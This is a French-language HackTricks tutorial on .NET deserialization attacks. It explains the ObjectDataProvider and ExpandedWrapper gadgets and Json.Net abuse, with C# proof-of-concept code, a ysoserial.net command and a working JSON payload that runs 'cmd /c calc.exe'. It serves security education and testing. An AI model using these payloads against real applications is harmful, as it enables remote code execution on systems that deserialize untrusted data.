# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} Ce post est dédié à **comprendre comment le gadget ObjectDataProvider est exploité** pour obtenir RCE et **comment** les bibliothèques de sérialisation **Json.Net et xmlSerializer peuvent être abusées** avec ce gadget. ## Gadget ObjectDataProvider D'après la documentation : _la classe ObjectDataProvider encapsule et crée un objet que vous pouvez utiliser comme source de liaison_.\ Oui, c'est une explication étrange, alors voyons ce que cette classe a de si intéressant : cette classe permet de **encapsuler un objet arbitraire**, d'utiliser _**MethodParameters**_ pour **définir des paramètres arbitraires,** puis **d'utiliser MethodName pour appeler une fonction arbitraire** de l'objet arbitraire déclaré avec les paramètres arbitraires.\ Par conséquent, l'**objet** arbitraire va **exécuter** une **fonction** avec **des paramètres tout en étant désérialisé.** ### **Comment est-ce possible** L'espace de noms **System.Windows.Data**, trouvé dans le **PresentationFramework.dll** à `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, est l'endroit où l'ObjectDataProvider est défini et implémenté. En utilisant [**dnSpy**](https://github.com/0xd4d/dnSpy), vous pouvez **inspecter le code** de la classe qui nous intéresse. Dans l'image ci-dessous, nous voyons le code de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nom de la méthode** ![](<../../.gitbook/assets/image (427).png>) Comme vous pouvez l'observer, lorsque `MethodName` est défini, `base.Refresh()` est appelé, voyons ce que cela fait : ![](<../../.gitbook/assets/image (319).png>) D'accord, continuons à voir ce que fait `this.BeginQuery()`. `BeginQuery` est remplacé par `ObjectDataProvider` et voici ce qu'il fait : ![](<../../.gitbook/assets/image (345).png>) Notez qu'à la fin du code, il appelle `this.QueryWorke(null)`. Voyons ce que cela exécute : ![](<../../.gitbook/assets/image (596).png>) Notez que ce n'est pas le code complet de la fonction `QueryWorker`, mais cela montre la partie intéressante : le code **appelle `this.InvokeMethodOnInstance(out ex);`** c'est la ligne où le **méthode définie est invoquée**. Si vous voulez vérifier que simplement en définissant le _**MethodName**_\*\* il sera exécuté\*\*, vous pouvez exécuter ce code : ```java using System.Windows.Data; using System.Diagnostics; namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add("cmd.exe"); myODP.MethodParameters.Add("/c calc.exe"); myODP.MethodName = "Start"; } } } ``` Notez que vous devez ajouter en référence _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ afin de charger `System.Windows.Data` ## ExpandedWrapper En utilisant l'exploit précédent, il y aura des cas où l'**objet** sera **désérialisé en tant que** une instance _**ObjectDataProvider**_ (par exemple dans la vulnérabilité DotNetNuke, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant `GetType`). Ensuite, il n'aura **aucune connaissance du type d'objet qui est encapsulé** dans l'instance _ObjectDataProvider_ (par exemple `Process`). Vous pouvez trouver plus [d'informations sur la vulnérabilité DotNetNuke ici](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1). Cette classe permet de **spécifier les types d'objets des objets qui sont encapsulés** dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (_ObjectDataProvider_) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (_ObjectDataProvider.MethodName_ et _ObjectDataProvider.MethodParameters_).\ Ceci est très utile pour des cas comme celui présenté précédemment, car nous serons en mesure de **wrapper \_ObjectDataProvider**_\*\* à l'intérieur d'une instance \*\*_**ExpandedWrapper** \_ et **lorsqu'il est désérialisé**, cette classe **créera** l'objet _**OjectDataProvider**_ qui **exécutera** la **fonction** indiquée dans _**MethodName**_. Vous pouvez vérifier ce wrapper avec le code suivant : ```java using System.Windows.Data; using System.Diagnostics; using System.Data.Services.Internal; namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ExpandedWrapper myExpWrap = new ExpandedWrapper(); myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); myExpWrap.ProjectedProperty0.ObjectInstance = new Process(); myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe"); myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe"); myExpWrap.ProjectedProperty0.MethodName = "Start"; } } } ``` ## Json.Net Sur la [page web officielle](https://www.newtonsoft.com/json), il est indiqué que cette bibliothèque permet de **sérialiser et désérialiser n'importe quel objet .NET avec le puissant sérialiseur JSON de Json.NET**. Donc, si nous pouvions **désérialiser le gadget ObjectDataProvider**, nous pourrions provoquer un **RCE** simplement en désérialisant un objet. ### Exemple Json.Net Tout d'abord, voyons un exemple sur comment **sérialiser/désérialiser** un objet en utilisant cette bibliothèque : ```java using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic; namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = "james@example.com", Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { "User", "Admin" } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]} //Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } } ``` ### Abus de Json.Net En utilisant [ysoserial.net](https://github.com/pwntester/ysoserial.net), j'ai créé l'exploit : ```java ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` Dans ce code, vous pouvez **tester l'exploit**, il suffit de l'exécuter et vous verrez qu'un calc est exécuté : ```java using System; using System.Text; using Newtonsoft.Json; namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }"; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata)); //Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } } ``` {% hint style="success" %} Apprenez et pratiquez le hacking AWS :[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Apprenez et pratiquez le hacking GCP : [**HackTricks Formation Expert Red Team GCP (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Soutenir HackTricks * Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)! * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
{% endhint %}